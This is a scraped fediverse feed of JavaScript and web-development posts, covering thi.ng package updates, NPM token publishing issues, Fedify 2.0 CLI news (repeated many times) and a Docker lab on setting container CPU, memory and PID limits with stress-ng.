Est-ce que quelqu'un utilise cette librairie pour afficher des panoramas 360° sur un site web ?

naver.github.io/egjs-view360/

Je n'arrive pas à la faire fonctionner même en recopiant les exemples du tutoriel :

naver.github.io/egjs-view360/d

Et je ne vois pas ce qui bloque.
Si quelqu'un a une idée, je suis preneur.

naver.github.io

Quick Start | View360

Using the default styles of View360

@rauschma@fosstodon.org
@toxi@mastodon.thi.ng

Some details about the recently updated/fixed thi.ng/color package: The color scheme creation strategy functions (analog/complementary/triadic/tetradic/monochrome etc.) are all accepting base colors in any format now, but do their computation and provide results in LCH space only. I've updated/extended the readme with some basic code examples (incl. result swatches) how to use these functions — something I thought I did already 3 years ago, but obviously didn't... mea culpa! 😇

Note: The package also provides more powerful declarative, parametric approaches to color scheme generation (see 2nd image, link in alt text), plus there's also thi.ng/color-palettes (3rd image) which provides 255 manually created palettes (image based & curated by yours truly, used for many of own art projects...) and includes composable query operators to select palettes based on different criteria...

Screenshot of excerpt of the thi.ng/color package readme discussing color scheme strategies. Direct link to relevant section: https://github.com/thi-ng/umbrella/blob/develop/packages/color/README.md#color-theme-strategies
ALT text

Screenshot of excerpt of the thi.ng/color package readme discussing color scheme strategies. Direct link to relevant section: https://github.com/thi-ng/umbrella/blob/develop/packages/color/README.md#color-theme-strategies

Screenshot of excerpt of the thi.ng/color package readme about declarative/parametric color scheme generation. Direct link to relevant section: https://github.com/thi-ng/umbrella/blob/develop/packages/color/README.md#color-theme-generation
ALT text

Screenshot of excerpt of the thi.ng/color package readme about declarative/parametric color scheme generation. Direct link to relevant section: https://github.com/thi-ng/umbrella/blob/develop/packages/color/README.md#color-theme-generation

Screenshot of excerpt of the thi.ng/color-palettes package readme showing swatches of the most recently added themes...
ALT text

Screenshot of excerpt of the thi.ng/color-palettes package readme showing swatches of the most recently added themes...

@toxi@mastodon.thi.ng

An update: After several failed publish attempts, more searching, (re)reading and experimenting for the past 4 hours, I've now figured out a solution using granular access tokens... But to summarize & document the issues, in case someone else encounters the same pain points:

1) There seems to be a new incompatibility between the NPM auth changes and running `yarn npm publish --access public`. After working successfully for the past 8 years, that command now gives me 404, even after re-authenticating. It just doesn't seem to pick up the auth token configured in `$HOME/.npmrc`. As result I've now switched all my publish commands to just be `npm publish --access public`. That seems to work!

2) The wording about the 50 package limit on the NPM auth token docs is very confusing: "Each token can access up to 50 organizations, and up to either 50 packages, 50 scopes, or a combination of 50 packages and scopes." As written, this reads like these limits are omnipresent for each token, but in fact one can also create tokens which can access ALL packages under your control. The 50 limit only seems to apply when creating token which is only allowed a subset...

Summa summarum, it is after all (updates to thi.ng/geom, bug fixes for thi.ng/args) and I can now proceed to enjoy the start of the Glühwein season on this cold Friday night... 🎉

thi.ng

Declarative, functional & typechecked CLI argument/options parser, value coercions etc.

@zkat@toot.cat

How does the semantic html community feel about using the <details> element to “expand” into a form submission confirmation, when submitting “dangerous” operations, instead of a <dialog>? Notably, the thing I’m working on is currently fully JS-optional so far, and I would like to keep it that way.

EDIT: Oh it looks like <button> has command and commandfor, which can open a <dialog> now.

EDIT2: oops, but it's not baseline yet, and won't be for a while. It just released in preview for Safari and Firefox. ~sigh~

»Math.random() is not so random — The Illusion of Randomness in JavaScript:
Don’t Trust Math.random() - Uncovering the Hidden Predictability of Random Numbers.«

In some applications random numbers are very useful but not unique and therefore you should consider where to use it. In this regard, there are for example, UUID v4 or Nano ID and the same.

🧑‍💻 vinitshahdeo.substack.com/p/ma

vinitshahdeo.substack.com

Math.random() is not so random: The Illusion of Randomness in JavaScript

Don’t Trust Math.random(): Uncovering the Hidden Predictability of Random Numbers.

@mariusor@metalhead.club

Well, it looks like the drag and drop Web API is f*ed up beyond any recognition, and can't be reliably used for cross browser stuff[*].

[*] Where you need the position of the mouse pointer!

@korbs@social.sudovanilla.org · Reply to Korbs

Zalvena, originally a fork of Aptabase, has been completely rewritten on Deno for it's backend, and Astro for it's frontend.

It's now a dedicated project for MinPluto, built for event tracking meant for the Zorn video player project.

The project is now part of the MinPluto organization.

ark.sudovanilla.org/MinPluto/Z

Zorn Logo, plus, Zalvena Logo
ALT text

Zorn Logo, plus, Zalvena Logo

Fedify is an server framework in & . It aims to eliminate the complexity and redundant boilerplate code when building a federated server app, so that you can focus on your business logic and user experience.

The key features it provides currently are:

If you're curious, take a look at the website! There's comprehensive docs, a demo, a tutorial, example code, and more:

https://fedify.dev/

@emile_icite@mastodon.social

Allez, je tente ma chance !

Coucou le Fedivers ! :blobpeek:

Je suis un queeros qui a travaillé 11 ans en librairie d'occasion et je me reconvertis cette année dans le

J'ai fini un bootcamp au printemps et recherche actuellement une entreprise en pour intégrer un mastère en développement web et .

Mes compétences : , , , , , , , , ,

1/2

@toxi@mastodon.thi.ng

Published another couple of new versions of thi.ng/genart-api, mainly involving updates to the Layer (layer.com) platform adapter, adding config options and minor quality of life improvements (e.g. handling of private [aka artist-only] params)

I also updated the readme, clarifying the current versioning scheme: For ease of use and to avoid guess work about compatibility, currently all packages in this repo are published using a shared version identifier. With the release of v1.0.0, this will switch to independent semantic versioning, with support package versions aligned to the major versions of the main API.

After over a year of development, dogfooding it and using it successfully without any friction for already a dozen art pieces/projects, I'd actually consider the main API to be pretty much v1.0.0 already (even though it's current v0.33.0). So the switch will happen soon!

If you've have any issues or feature requests, please file them via the issue tracker (or write back here to discuss)! Thanks! :)

thi.ng

Platform independent API for browser-based algorithmic/generative/procedural art

@snugug@mas.to

Exciting news for developers! We've just landed a major milestone for Fedify 2.0—the now runs natively on .js and , not just (#456). If you install @fedify/cli@2.0.0-dev.1761 from npm, you'll get actual JavaScript that executes directly in your runtime, no more pre-compiled binaries from deno compile. This is part of our broader transition to Optique, a new cross-runtime CLI framework we've developed specifically for Fedify's needs (#374).

This change means a more natural development experience regardless of your runtime preference. Node.js developers can now run the CLI tools directly through their familiar ecosystem, and the same goes for Bun users. While Fedify 2.0 isn't released yet, we're excited to share this progress with the community—feel free to try out the dev version and let us know how it works for you!

github.com

CLI for Fedify 2.0: Cross-runtime transition and Optique adoption · Issue #374 · fedify-dev/fedify

The current Fedify CLI implementation has been working well for our Deno-focused ecosystem, but as we prepare for Fedify 2.0, we're hitting some architectural limitations that are becoming increasi...

»HTML’s Best Kept Secret — The <output> Tag:
Every developer knows <input>. It’s the workhorse of the web. But <output>? Most have never touched it. Some don’t even know it exists. […]«
— by @denodell

You never stop learning and you can't know everything about as a WebDev. Nice to see how you can use the HTML interface actiev.

🧑‍💻 denodell.com/blog/html-best-ke

denodell.com

HTML’s Best Kept Secret: The output Tag

Make your dynamic content accessible by default with the HTML tag that time forgot.

@zkat@toot.cat

lmao now legitimate security emails from NPM are considered phishing. What a shitshow.

screenshot of an email that clearly says it's from support@npmjs.com, a legitimate email address belonging to the NPM support team. Fastmail has flagged it as suspicious, and that it might be a phishing attempt. The email seems to be about some "security improvements".
ALT text

screenshot of an email that clearly says it's from support@npmjs.com, a legitimate email address belonging to the NPM support team. Fastmail has flagged it as suspicious, and that it might be a phishing attempt. The email seems to be about some "security improvements".

Exciting news for developers! We've just landed a major milestone for Fedify 2.0—the now runs natively on .js and , not just (#456). If you install @fedify/cli@2.0.0-dev.1761 from npm, you'll get actual JavaScript that executes directly in your runtime, no more pre-compiled binaries from deno compile. This is part of our broader transition to Optique, a new cross-runtime CLI framework we've developed specifically for Fedify's needs (#374).

This change means a more natural development experience regardless of your runtime preference. Node.js developers can now run the CLI tools directly through their familiar ecosystem, and the same goes for Bun users. While Fedify 2.0 isn't released yet, we're excited to share this progress with the community—feel free to try out the dev version and let us know how it works for you!

github.com

CLI for Fedify 2.0: Cross-runtime transition and Optique adoption · Issue #374 · fedify-dev/fedify

The current Fedify CLI implementation has been working well for our Deno-focused ecosystem, but as we prepare for Fedify 2.0, we're hitting some architectural limitations that are becoming increasi...

@toxi@mastodon.thi.ng

Just pushed a new version of thi.ng/genart-api (v0.31.0) with these updates:

- (Art) platform adapters can now have an optional `.configure({...})` method to customize platform-specific behaviors. To ensure future portability of your artwork (between different art platforms), calls to this method should be done from outside the artwork, i.e. via an additional `<script>` in the HTML wrapper.
- Of the provided platform adapters, so far only the Layer adapter supports any options, but I'm also working on a new one for my website which will require other options and there are more use cases for which this will come in handy without adding any complexity to the overall system...
- Updated param change handling in the Layer platform adapter, which now supports auto-reload for params whose update behavior has been set to `reload`. More info here: docs.thi.ng/genart-api/adapter

docs.thi.ng

@genart-api/adapter-layer

Documentation for @genart-api/adapter-layer

Exciting news for developers! We've just landed a major milestone for Fedify 2.0—the now runs natively on .js and , not just (#456). If you install @fedify/cli@2.0.0-dev.1761 from npm, you'll get actual JavaScript that executes directly in your runtime, no more pre-compiled binaries from deno compile. This is part of our broader transition to Optique, a new cross-runtime CLI framework we've developed specifically for Fedify's needs (#374).

This change means a more natural development experience regardless of your runtime preference. Node.js developers can now run the CLI tools directly through their familiar ecosystem, and the same goes for Bun users. While Fedify 2.0 isn't released yet, we're excited to share this progress with the community—feel free to try out the dev version and let us know how it works for you!

github.com

CLI for Fedify 2.0: Cross-runtime transition and Optique adoption · Issue #374 · fedify-dev/fedify

The current Fedify CLI implementation has been working well for our Deno-focused ecosystem, but as we prepare for Fedify 2.0, we're hitting some architectural limitations that are becoming increasi...

Exciting news for developers! We've just landed a major milestone for Fedify 2.0—the now runs natively on .js and , not just (#456). If you install @fedify/cli@2.0.0-dev.1761 from npm, you'll get actual JavaScript that executes directly in your runtime, no more pre-compiled binaries from deno compile. This is part of our broader transition to Optique, a new cross-runtime CLI framework we've developed specifically for Fedify's needs (#374).

This change means a more natural development experience regardless of your runtime preference. Node.js developers can now run the CLI tools directly through their familiar ecosystem, and the same goes for Bun users. While Fedify 2.0 isn't released yet, we're excited to share this progress with the community—feel free to try out the dev version and let us know how it works for you!

github.com

CLI for Fedify 2.0: Cross-runtime transition and Optique adoption · Issue #374 · fedify-dev/fedify

The current Fedify CLI implementation has been working well for our Deno-focused ecosystem, but as we prepare for Fedify 2.0, we're hitting some architectural limitations that are becoming increasi...

Exciting news for developers! We've just landed a major milestone for Fedify 2.0—the now runs natively on .js and , not just (#456). If you install @fedify/cli@2.0.0-dev.1761 from npm, you'll get actual JavaScript that executes directly in your runtime, no more pre-compiled binaries from deno compile. This is part of our broader transition to Optique, a new cross-runtime CLI framework we've developed specifically for Fedify's needs (#374).

This change means a more natural development experience regardless of your runtime preference. Node.js developers can now run the CLI tools directly through their familiar ecosystem, and the same goes for Bun users. While Fedify 2.0 isn't released yet, we're excited to share this progress with the community—feel free to try out the dev version and let us know how it works for you!

github.com

CLI for Fedify 2.0: Cross-runtime transition and Optique adoption · Issue #374 · fedify-dev/fedify

The current Fedify CLI implementation has been working well for our Deno-focused ecosystem, but as we prepare for Fedify 2.0, we're hitting some architectural limitations that are becoming increasi...

Exciting news for developers! We've just landed a major milestone for Fedify 2.0—the now runs natively on .js and , not just (#456). If you install @fedify/cli@2.0.0-dev.1761 from npm, you'll get actual JavaScript that executes directly in your runtime, no more pre-compiled binaries from deno compile. This is part of our broader transition to Optique, a new cross-runtime CLI framework we've developed specifically for Fedify's needs (#374).

This change means a more natural development experience regardless of your runtime preference. Node.js developers can now run the CLI tools directly through their familiar ecosystem, and the same goes for Bun users. While Fedify 2.0 isn't released yet, we're excited to share this progress with the community—feel free to try out the dev version and let us know how it works for you!

github.com

CLI for Fedify 2.0: Cross-runtime transition and Optique adoption · Issue #374 · fedify-dev/fedify

The current Fedify CLI implementation has been working well for our Deno-focused ecosystem, but as we prepare for Fedify 2.0, we're hitting some architectural limitations that are becoming increasi...

Exciting news for developers! We've just landed a major milestone for Fedify 2.0—the now runs natively on .js and , not just (#456). If you install @fedify/cli@2.0.0-dev.1761 from npm, you'll get actual JavaScript that executes directly in your runtime, no more pre-compiled binaries from deno compile. This is part of our broader transition to Optique, a new cross-runtime CLI framework we've developed specifically for Fedify's needs (#374).

This change means a more natural development experience regardless of your runtime preference. Node.js developers can now run the CLI tools directly through their familiar ecosystem, and the same goes for Bun users. While Fedify 2.0 isn't released yet, we're excited to share this progress with the community—feel free to try out the dev version and let us know how it works for you!

github.com

CLI for Fedify 2.0: Cross-runtime transition and Optique adoption · Issue #374 · fedify-dev/fedify

The current Fedify CLI implementation has been working well for our Deno-focused ecosystem, but as we prepare for Fedify 2.0, we're hitting some architectural limitations that are becoming increasi...

Exciting news for developers! We've just landed a major milestone for Fedify 2.0—the now runs natively on .js and , not just (#456). If you install @fedify/cli@2.0.0-dev.1761 from npm, you'll get actual JavaScript that executes directly in your runtime, no more pre-compiled binaries from deno compile. This is part of our broader transition to Optique, a new cross-runtime CLI framework we've developed specifically for Fedify's needs (#374).

This change means a more natural development experience regardless of your runtime preference. Node.js developers can now run the CLI tools directly through their familiar ecosystem, and the same goes for Bun users. While Fedify 2.0 isn't released yet, we're excited to share this progress with the community—feel free to try out the dev version and let us know how it works for you!

github.com

CLI for Fedify 2.0: Cross-runtime transition and Optique adoption · Issue #374 · fedify-dev/fedify

The current Fedify CLI implementation has been working well for our Deno-focused ecosystem, but as we prepare for Fedify 2.0, we're hitting some architectural limitations that are becoming increasi...

Exciting news for developers! We've just landed a major milestone for Fedify 2.0—the now runs natively on .js and , not just (#456). If you install @fedify/cli@2.0.0-dev.1761 from npm, you'll get actual JavaScript that executes directly in your runtime, no more pre-compiled binaries from deno compile. This is part of our broader transition to Optique, a new cross-runtime CLI framework we've developed specifically for Fedify's needs (#374).

This change means a more natural development experience regardless of your runtime preference. Node.js developers can now run the CLI tools directly through their familiar ecosystem, and the same goes for Bun users. While Fedify 2.0 isn't released yet, we're excited to share this progress with the community—feel free to try out the dev version and let us know how it works for you!

github.com

CLI for Fedify 2.0: Cross-runtime transition and Optique adoption · Issue #374 · fedify-dev/fedify

The current Fedify CLI implementation has been working well for our Deno-focused ecosystem, but as we prepare for Fedify 2.0, we're hitting some architectural limitations that are becoming increasi...

Exciting news for developers! We've just landed a major milestone for Fedify 2.0—the now runs natively on .js and , not just (#456). If you install @fedify/cli@2.0.0-dev.1761 from npm, you'll get actual JavaScript that executes directly in your runtime, no more pre-compiled binaries from deno compile. This is part of our broader transition to Optique, a new cross-runtime CLI framework we've developed specifically for Fedify's needs (#374).

This change means a more natural development experience regardless of your runtime preference. Node.js developers can now run the CLI tools directly through their familiar ecosystem, and the same goes for Bun users. While Fedify 2.0 isn't released yet, we're excited to share this progress with the community—feel free to try out the dev version and let us know how it works for you!

github.com

CLI for Fedify 2.0: Cross-runtime transition and Optique adoption · Issue #374 · fedify-dev/fedify

The current Fedify CLI implementation has been working well for our Deno-focused ecosystem, but as we prepare for Fedify 2.0, we're hitting some architectural limitations that are becoming increasi...

Exciting news for developers! We've just landed a major milestone for Fedify 2.0—the now runs natively on .js and , not just (#456). If you install @fedify/cli@2.0.0-dev.1761 from npm, you'll get actual JavaScript that executes directly in your runtime, no more pre-compiled binaries from deno compile. This is part of our broader transition to Optique, a new cross-runtime CLI framework we've developed specifically for Fedify's needs (#374).

This change means a more natural development experience regardless of your runtime preference. Node.js developers can now run the CLI tools directly through their familiar ecosystem, and the same goes for Bun users. While Fedify 2.0 isn't released yet, we're excited to share this progress with the community—feel free to try out the dev version and let us know how it works for you!

github.com

CLI for Fedify 2.0: Cross-runtime transition and Optique adoption · Issue #374 · fedify-dev/fedify

The current Fedify CLI implementation has been working well for our Deno-focused ecosystem, but as we prepare for Fedify 2.0, we're hitting some architectural limitations that are becoming increasi...

Exciting news for developers! We've just landed a major milestone for Fedify 2.0—the now runs natively on .js and , not just (#456). If you install @fedify/cli@2.0.0-dev.1761 from npm, you'll get actual JavaScript that executes directly in your runtime, no more pre-compiled binaries from deno compile. This is part of our broader transition to Optique, a new cross-runtime CLI framework we've developed specifically for Fedify's needs (#374).

This change means a more natural development experience regardless of your runtime preference. Node.js developers can now run the CLI tools directly through their familiar ecosystem, and the same goes for Bun users. While Fedify 2.0 isn't released yet, we're excited to share this progress with the community—feel free to try out the dev version and let us know how it works for you!

github.com

CLI for Fedify 2.0: Cross-runtime transition and Optique adoption · Issue #374 · fedify-dev/fedify

The current Fedify CLI implementation has been working well for our Deno-focused ecosystem, but as we prepare for Fedify 2.0, we're hitting some architectural limitations that are becoming increasi...

@fpsvogel@ruby.social

UnsuckJS is a handy list of JS libraries that make writing JS a better experience (even if by reducing the need for JS).

unsuckjs.com

It's the closest thing to a complete list that I've seen, if you include open PRs.

Today I opened a PR with no less than 17 entries 😄

github.com/adamghill/unsuckjs.

github.com

Add many JS entries by fpsvogel · Pull Request #55 · adamghill/unsuckjs.com

Adds the following libraries, along with size and CDN URLs where available. With a few exceptions, noted with &quot;web_components&quot;: false, these are (or can be) based on Web Components. Hybr...

@eniko@mastodon.gamedev.place

okay i've polished up my FediTag javascript which embeds a feed of Mastodon posts from one account using a particular hashtag on a website or page. you can find it on github github.com/Enichan/feditag

example of feditag in the wild being used on enikofox.com/blockgame

it shows a post with two images, above another post with a poll
ALT text

example of feditag in the wild being used on enikofox.com/blockgame it shows a post with two images, above another post with a poll

@lobsters@mastodon.social
@lobsters@mastodon.social
@lobsters@mastodon.social
@cap_ybarra@mastodon.social

re intro time

i am an ancient programmer who has read some books and may read more. i love learning and a great story.

hopeless progressive-ish believer in the potential for humankind despite all of the current evidence to the contrary

i love: , , , programming, , tactical

@lobsters@mastodon.social
@korbs@social.sudovanilla.org

Been a four months since I worked on Zorn, a video player for Astro. Buttons and menus in v0.7, which isn't even published yet, already need to be rewritten, and thought out again.

Along with that, I need to also focus on making the player rely on JavaScript less during the development of v0.7.

The fallback to native player function is working quite well still, which I'm happy about. (Video Below)

Fallback function for Zorn Player, it is triggered if JavaScript is not enabled, showing a message that will show the native player if clicked on.
ALT text

Fallback function for Zorn Player, it is triggered if JavaScript is not enabled, showing a message that will show the native player if clicked on.

@toxi@mastodon.thi.ng

Just pushed an update for thi.ng/genart-api (v0.29.0) which now supports dynamic switching of time providers. This is useful for situations where you want to switch from realtime animation to offline-based timing, e.g. to export high-resolution image sequences and give the browser time to grab & encode each frame and reduce related memory pressure...

For example, your animation loop can now have something like this below to switch time providers based on a certain start frame for recording:

```
$genart.setUpdate((time, frame) => {
if (frame === 1000) {
// switch to non-realtime animation:
// wait 250ms between frames w/ 60 fps reference frame rate
// start frame for new time provider is current frame + 1
$genart.setTimeProvider(
$genart.time.offline(250, 60, frame + 1)
);
}
// actual animation logic
// ...
return true;
});
```

thi.ng

thi.ng/genart-api

@sir_pepe@mastodon.social

The quick and dirty that serves as my timer app for talks is 260 LOC JS (excluding the auto-generated service worker). This is simultaneously not much and quite a lot. But it would be SO MUCH MORE without the Temporal and Intl APIs! Truly game-changing additions to !

@sir_pepe@mastodon.social

The quick and dirty that serves as my timer app for talks is 260 LOC JS (excluding the auto-generated service worker). This is simultaneously not much and quite a lot. But it would be SO MUCH MORE without the Temporal and Intl APIs! Truly game-changing additions to !

@iamwaseem@mastodon.social
@iamwaseem@mastodon.social
@Rhababerbarbar@tux.social

How broken do you want your 3rd party riddled website to be?

: Yes

(Every new subscription will send you damn emails, there is no global toggle, not even for a single subscription, and then the buttons dont work?)

Patreon Website in the configuration window for email notifications. Person tries to disable them, gets "error" and nothing changes
ALT text

Patreon Website in the configuration window for email notifications. Person tries to disable them, gets "error" and nothing changes

@toxi@mastodon.thi.ng

— New version 3.1.0 of the recently talked about thi.ng/args package, a declarative & functional CLI argument parser & app framework. I updated the arg specifications to be fully self-describing & serializable (with minor exceptions), and streamlined the API for factory functions to define the specs.

Why is this useful? For example, now I can (already have!) implemented a CLI as separate short-lived client/process which only acts as RPC frontend/proxy for the actual CLI commands defined & executed in a long running app server, which is heavily based on a plugin architecture. Each plugin can contribute any number of CLI commands, each with its own set of args/options... When the CLI client app is launched, it first retrieves a list of these registered commands and all their options from the server, then uses the thi.ng/args CLI framework to select the right command, validate its options or display formatted usage info. If all is ok, the command is then triggered via an HTTP request to the app server, executes there and the command's log messages are send back as response...

Block diagram giving a highlevel overview of a software architecture consisting of: app server, router, CLI and a number of plugins. These app component interact with each other via registrations and delegations. A separate box "CLI RPC" relates to a separate client app which only interacts with the app server and is used as remote frontend for invoking commands inside the (much longer running) main app.
ALT text

Block diagram giving a highlevel overview of a software architecture consisting of: app server, router, CLI and a number of plugins. These app component interact with each other via registrations and delegations. A separate box "CLI RPC" relates to a separate client app which only interacts with the app server and is used as remote frontend for invoking commands inside the (much longer running) main app.

@toxi@mastodon.thi.ng

Finally got around documenting a little more the small CLI app "framework" I've been using for almost a dozen projects now (incl. several work projects). The package in question is now already 3 years old (thi.ng/args), but I've only just managed now to add a basic, commented usage example for this `cliApp()` feature to the readme:

Defining a multi-command CLI app (incl. two sub-commands):
github.com/thi-ng/umbrella/blo

Also part of this: I've refactored a few other projects to simplify their CLI handling using this `cliApp()` wrapper (project links are in the above readme, in case you'd like to see more advanced/realworld uses...) One of the (non-public) work projects ended up consisting of up to a dozen sub-commands and I found this declarative and modular setup to be very, very helpful (and elegant)...

github.com

umbrella/packages/args/README.md at develop · thi-ng/umbrella

⛱ Broadly scoped ecosystem & mono-repository of 210 TypeScript projects (and ~185 examples) for general purpose, functional, data driven development - thi-ng/umbrella

@unknown8bit@mastodon.social

now that my Big Project™ for the year has shipped and is wrapping up, i will be enjoying some relative down time at work, in which i’d like to spend time topping up my waning modern web dev knowledge.

💡i am looking for recommendations on good online courses to bridge my knowledge gap in latest (not trendiest) CSS and JS practices. i have a few already queued up, but this will help me prioritize.

boosts are most welcome. thank you in advance!

@heisedeveloper@social.heise.de
@heisedeveloper@social.heise.de
@reynardsec@infosec.exchange

A grumpy ItSec guy walks through the office when he overhears an exchange of words.

devops0: Two containers went rogue last night and starved the whole host.
devops1: What are we supposed to do?

ItSec (walking by): Set limits. It's not rocket science. Docker exposes cgroup controls for CPU, memory, I/O and PIDs. Use them.

The point is: availability is part of security too. Linux control groups allow you to cap, isolate and observe resource usage, which is exactly how Docker enforces container limits for CPU, memory, block I/O and process counts [1]. Let's make it tangible with a small lab. We'll spin a container, install stress-ng, and watch limits in action.

# On the Docker host
docker run -itd --name ubuntu-limits ubuntu:22.04
docker exec -it ubuntu-limits bash

# Inside the container
apt update && apt install -y stress-ng
stress-ng --version

Check how many cores you see, then drive them.

# Inside the container
nproc

# For my host nproc returns 4
stress-ng --cpu 4 --cpu-load 100 --timeout 30s

In another terminal, watch usage from the host.

docker stats

Now clamp CPU for the running container and see the throttle take effect.

docker update ubuntu-limits --cpus=1
docker stats

The --cpus flag is a wrapper over the Linux CFS period/quota; --cpus=1 caps the container at roughly one core worth of time on a multi‑core host.

Memory limits are similar. First tighten RAM and swap, then try to over‑allocate in the container.

# On the host
docker update ubuntu-limits --memory=128m --memory-swap=256m
docker stats
# Inside the container: stays under the cap
stress-ng --vm 1 --vm-bytes 100M --timeout 30s --vm-keep

# Inside the container: tries to exceed; you may see reclaim/pressure instead of success
stress-ng --vm 1 --vm-bytes 300M --timeout 30s --vm-keep

A few memory details matter. --memory is the hard ceiling; --memory-swap controls total RAM+swap available. Setting swap equal to memory disables swap for that container; leaving it unset often allows swap equal to the memory limit; setting -1 allows unlimited swap up to what the host provides.

docker run -it --rm \
--name demo \
--cpus=1 \
--memory=256m \
--memory-swap=256m \
--pids-limit=25 \
ubuntu:22.04 bash

For plain docker compose (non‑Swarm), set service‑level attributes. The Compose Services reference explicitly supports cpus, mem_limit, memswap_limit and pids_limit on services [2].

services:
api:
image: ubuntu:22.04
command: ["sleep","infinity"]
cpus: "1" # 50% of one CPU equivalent
mem_limit: "256m" # hard RAM limit
memswap_limit: "256m" # RAM+swap; equal to mem_limit disables swap
pids_limit: 50 # max processes inside the container

[1] docs.docker.com/engine/contain
[2] docs.docker.com/reference/comp

For more grumpy stories visit:
1) infosec.exchange/@reynardsec/1
2) infosec.exchange/@reynardsec/1
3) infosec.exchange/@reynardsec/1
4) infosec.exchange/@reynardsec/1
5) infosec.exchange/@reynardsec/1
6) infosec.exchange/@reynardsec/1

Grumpy Cat
ALT text

Grumpy Cat

@reynardsec@infosec.exchange

A grumpy ItSec guy walks through the office when he overhears an exchange of words.

devops0: Two containers went rogue last night and starved the whole host.
devops1: What are we supposed to do?

ItSec (walking by): Set limits. It's not rocket science. Docker exposes cgroup controls for CPU, memory, I/O and PIDs. Use them.

The point is: availability is part of security too. Linux control groups allow you to cap, isolate and observe resource usage, which is exactly how Docker enforces container limits for CPU, memory, block I/O and process counts [1]. Let's make it tangible with a small lab. We'll spin a container, install stress-ng, and watch limits in action.

# On the Docker host
docker run -itd --name ubuntu-limits ubuntu:22.04
docker exec -it ubuntu-limits bash

# Inside the container
apt update && apt install -y stress-ng
stress-ng --version

Check how many cores you see, then drive them.

# Inside the container
nproc

# For my host nproc returns 4
stress-ng --cpu 4 --cpu-load 100 --timeout 30s

In another terminal, watch usage from the host.

docker stats

Now clamp CPU for the running container and see the throttle take effect.

docker update ubuntu-limits --cpus=1
docker stats

The --cpus flag is a wrapper over the Linux CFS period/quota; --cpus=1 caps the container at roughly one core worth of time on a multi‑core host.

Memory limits are similar. First tighten RAM and swap, then try to over‑allocate in the container.

# On the host
docker update ubuntu-limits --memory=128m --memory-swap=256m
docker stats
# Inside the container: stays under the cap
stress-ng --vm 1 --vm-bytes 100M --timeout 30s --vm-keep

# Inside the container: tries to exceed; you may see reclaim/pressure instead of success
stress-ng --vm 1 --vm-bytes 300M --timeout 30s --vm-keep

A few memory details matter. --memory is the hard ceiling; --memory-swap controls total RAM+swap available. Setting swap equal to memory disables swap for that container; leaving it unset often allows swap equal to the memory limit; setting -1 allows unlimited swap up to what the host provides.

docker run -it --rm \
--name demo \
--cpus=1 \
--memory=256m \
--memory-swap=256m \
--pids-limit=25 \
ubuntu:22.04 bash

For plain docker compose (non‑Swarm), set service‑level attributes. The Compose Services reference explicitly supports cpus, mem_limit, memswap_limit and pids_limit on services [2].

services:
api:
image: ubuntu:22.04
command: ["sleep","infinity"]
cpus: "1" # 50% of one CPU equivalent
mem_limit: "256m" # hard RAM limit
memswap_limit: "256m" # RAM+swap; equal to mem_limit disables swap
pids_limit: 50 # max processes inside the container

[1] docs.docker.com/engine/contain
[2] docs.docker.com/reference/comp

For more grumpy stories visit:
1) infosec.exchange/@reynardsec/1
2) infosec.exchange/@reynardsec/1
3) infosec.exchange/@reynardsec/1
4) infosec.exchange/@reynardsec/1
5) infosec.exchange/@reynardsec/1
6) infosec.exchange/@reynardsec/1

Grumpy Cat
ALT text

Grumpy Cat

@vanillaweb@intuitivefuture.com

I cannot sing the praises of fetch loudly enough. As a , having ready access to this native web API where you can pull down fragments or data with a line or two of code is simply brilliant.

But when shipping robust production code, how do you handle unpredictable network scenarios gracefully and provide a good user experience?

One solution: a tiny 2.3KB wrapper around “fetch” called “ffetch”. Here are some of its features:

thathtml.blog/2025/09/give-fet

thathtml.blog

Give “fetch” a Bit More Oomph with “ffetch”

How do you handle unpredictable network scenarios gracefully and provide a good user experience?

@vanillaweb@intuitivefuture.com

I cannot sing the praises of fetch loudly enough. As a , having ready access to this native web API where you can pull down fragments or data with a line or two of code is simply brilliant.

But when shipping robust production code, how do you handle unpredictable network scenarios gracefully and provide a good user experience?

One solution: a tiny 2.3KB wrapper around “fetch” called “ffetch”. Here are some of its features:

thathtml.blog/2025/09/give-fet

thathtml.blog

Give “fetch” a Bit More Oomph with “ffetch”

How do you handle unpredictable network scenarios gracefully and provide a good user experience?

@piwo@fosstodon.org
@piwo@fosstodon.org
@toxi@mastodon.thi.ng

Speaking of new tools: Here's some other open-ended and work-in-progress tooling I published recently:

Assorted CLI utilities for data wrangling & media conversion
codeberg.org/thi.ng/thing-tools

This is (will be) a Swiss-army knife type multi-tool for frequent little tasks I've been encountering and not found satisfactory equivalent other solutions for. So far, there're only two commands published, but a dozen or so more are to come (for which I still have more cleaning up to do, also in upstream projects):

- CSV-to-JSON parsing/conversion, with configurable filtering, renaming and column value coercions
- De-dupe lines with support for regexp-based inclusions, exclusions and pattern-based uniqueness. Patterns can be read from files.

The readme contains installation instructions and documentation for all commands, their options and some example use cases. E.g. I regularly use the `dedupe-lines` command to cleanup my `.bash_history` file.

Using bun.sh, the tool can be compiled into a standalone executable.

All commands share common infrastructure of the main CLI tooling (based on thi.ng/args and many other thi.ng/umbrella packages). This reduces the code size of each command and makes it trivial to add additional commands (or share functionality, invoke some of those other commands for sub-tasks). There're also re-usable CLI arg specs to provide a uniform "API" for certain types of parameters.

Some of the still unreleased commands are for `ffmpeg` workflows/tasks, will update when ready...

thi.ng

thi.ng/umbrella

@toxi@mastodon.thi.ng

Finally made that tool I've been planning for a while: A configurable batch deleter of , supporting a threshold date (i.e. only older bookmarks considered) and lists of accounts and hashtags to always keep.

gist.github.com/postspectacula

After editing the script to fill in your own details and preferences at the top, you can run it via command line `node delete-bookmarks.js` or paste it in the browser console to execute.

The script outputs details of each bookmark being removed, supports retrying with exponential back-off (5x) and is configured to use quite generous pauses between requests to not trigger rate limiting.

The script also prints out `max_id` values, used for pagination purposes by the Mastodon API. Should you interrupt the script to make some changes and then re-run, you can also find the latest `max_id` and set `MAX_ID` to that value in the script to save time (bookmarks are processed in batches of 40)

(FWIW I've been ferociously bookmarking posts for almost 3 years (had ~13500) and my media storage became over 100GB. So it's urgent time for some serious pruning...)

gist.github.com

Configurable batch deletion of Mastodon bookmarks (using Mastodon API)

Configurable batch deletion of Mastodon bookmarks (using Mastodon API) - delete-bookmarks.js

@fireisgood@app.wafrn.net

how did this even work before


#javascript
Code snippet difference. An if statement checking the return value of the function item.visible is shown. Below, visibility checking if the function item.visible was truthy are shown
ALT text

Code snippet difference. An if statement checking the return value of the function item.visible is shown. Below, visibility checking if the function item.visible was truthy are shown

@fireisgood@app.wafrn.net

The new settings.service.ts file btw


#wafrn #javascript #typescript
